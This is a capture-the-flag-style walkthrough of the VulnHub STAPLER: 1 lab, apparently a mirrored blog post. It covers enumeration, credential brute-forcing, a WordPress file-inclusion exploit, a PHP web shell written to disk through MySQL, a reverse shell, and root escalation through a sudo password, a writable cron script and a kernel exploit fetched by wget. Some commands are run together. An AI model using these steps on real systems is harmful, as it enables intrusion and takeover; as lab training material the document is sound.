Site icon泓源视野

VulnHub: STAPLER: 1

VulnHub: STAPLER: 1

Initial foothold

  1. Network discovery

My target is 10.0.2.31.

2. Port scan

nmap -Pn -p1000- 10.0.2.31

3. OS and service scan

There’re services as listed:

  • port 21 vsftpd w/ anonymous login
  • port 22 OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  • port 53 dnsmasq 2.75
  • port 80 PHP cli server 5.5 or later
  • port 139 netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
  • port 666 doom
  • port 3306 MySQL 5.7.12–0ubuntu1
  • port 12380 Apache httpd 2.4.18 ((Ubuntu))

4. Vuln scan

Initial enumeration/searching existing exploits of each service

  • port 21 vsftpd 3.0.3 w/ anonymous login

There aren’t any public exploits that I can use.

Login w/ anonymous

username: anonymous

List files

Download it

Read it

Elly has FTP account.

  • port 22 OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

There’s a banner.

  • port 53 dnsmasq 2.75

Reverse lookup

Nothing

  • port 80 PHP cli server 5.5 or later

Nikto

There’re ‘.bashrc’ and ‘.profile’.

Download ‘.bashrc’ and ‘.profile’. and read them

wget http://10.0.2.31/.profile

Nothing

Further directory enumeration

Nothing

  • port 139 netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)

I googled the existing exploit and there’s a sambacry, but I need to have a credential. I’ll leave this for a while.

opsxcq/exploit-CVE-2017-7494

Samba is a free software re-implementation of the SMB/CIFS networking protocol. Samba provides file and print services…

github.com

Enumeration

can access \kathy and \tmp.

Read the file, I got usernames.

Save them as users.txt

Connect accessible directory, /kathy

dir

dirget to_do-list.txt

get vsftpd.confget wordpress-4.tar.gz

Read file

Unzip WordPress and read its configuration file

cd wordpressfind . -name '*.php' | grep configcat ./wp-config-sample.php

Nothing

  • port 666 doom

There’s a file.

Connect and retrieve the file

ls -la

Read file’s metadata

It’s a zip file.

Unzip it

Open it.

Connect another accessible directory, /tmp

It’s a program called ‘ls’, not much useful.

  • port 3306 MySQL 5.7.12–0ubuntu1

I cannot access this right now.

  • port 12380 Apache httpd 2.4.18 ((Ubuntu))

Nikto

It’s an HTTPS site.

Nikto again

Directory enumeration

Access the site

Access /admin112233/

Access /blogblog/

Read through every post.

Scan WordPress

There’s a list of users.

save as ‘users_wp.txt’

Scan for plugin

I googled and came across this exploit code of ‘advanced-video-embed-videos-or-playlists’.

gtech/39646

WordPress Plugin Advanced Video 1.0 - Local File Inclusion Update - gtech/39646

github.com

Read the script and edit it to match the target.

Exploitation

  1. FTP Port 21 — brute-forcing
  2. SSH Port 22 — brute-forcing
  3. HTTP(S) Port 12380 — brute-forcing and public exploit

Start w/ FTP Port 21 — brute-forcing

I will use users.txt as username and password because some people use the same string to be username and password.

I got the credential.

username: SHayslettpassword: SHayslettls -la

Not much use right now

Next is SSH Port 22 — brute-forcing

Connect

Now, I got the shell.

Last one, HTTP(S) Port 12380 — brute-forcing and public exploit

Starting w/ brute-forcing and leave it for a while.

Using public exploit

Now I got a MySQL credential.

4. MySQL port 3306

Remote login w/ root : plbkac

I’ll create an outfile w/ the content of PHP shell command.

Normally, I’ll store the shell file within the WordPress site. So, the path probably is:

I’ll use MySQL command to create PHP shell.

Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";

Verify if the file exists.

Intercept the request w/ Burp Suite and send it to the repeater

Add ‘?cmd=id’ to test the shell function.

Prepare listener on port 443

I’ll supply a reverse shell command to the generated shell using this cheatsheet:

Reverse Shell Cheat Sheet

If you're lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards…

pentestmonkey.net

Encode to URL w/ Burp Suite’s decoder.

Supply encoded reverse shell command w/ repeater.

After many tries, I succeeded w/ this command.

Back to the listener, now I got the shell.

Privilege Escalation

I’ll continue w/ WordPress shell.

Get TTY shell

  1. Explore directory as listed
/tmp/var/log/var/www/https//var/mail

I came across this /var/mail/www-data. There’s a PHP-mailer, but I don't know how to exploit it. Let’s skip this for a moment.

2. LinEnum.sh

Prepare attacker machine to be file server

Download, store in /tmp, change permission, and run

wget http://10.0.2.32/LinEnum.shchmod 777 LinEnum.sh./LinEnum.sh

These are information that I’ve found interesting.

Kernel version 4.4.0

User that can run sudo, peter

Cronjob located in ‘/etc/cron.d’

Running service, ‘cron -f’ indicating there’s running cronjob.

There’s a password in ‘.bash_history’

3. Exploit

  • Login as peter and verify sudo

From LinEnum.sh result

Password: JZQuyIN5

Verify sudo

Change to root

whoami

Now, I’m root.

  • cronjob

From LinEnum.sh result

I will verify the path of these services

There’s ‘.sh’ script.

Verify permission

It’s owned by root and can be edited by anyone.

Read its content

Append the command to get a root shell and verify

cat /usr/local/sbin/cron-logrotate.sh

Wait for a while and verify /tmp

Now, I got rootbash

Run it

  • kernel exploitation

Verify kernel version

This machine is Linux kernel 4.4.0 32 bit.

Search w/ searchsploit

After many tries, I succeeded w/ this exploit.

Copy and read it

cat 39772.txt

I followed the provided link.

808 - project-zero - Project Zero - Monorail

Edit description

bugs.chromium.org

I got the exploit file.

Decompressed

Download to target machine.

wget http:/10.0.2.32/suidhelper.cwget http:/10.0.2.32/doubleput.cwget http:/10.0.2.32/compile.sh./compile.sh

Now, I’m root.

Exit mobile version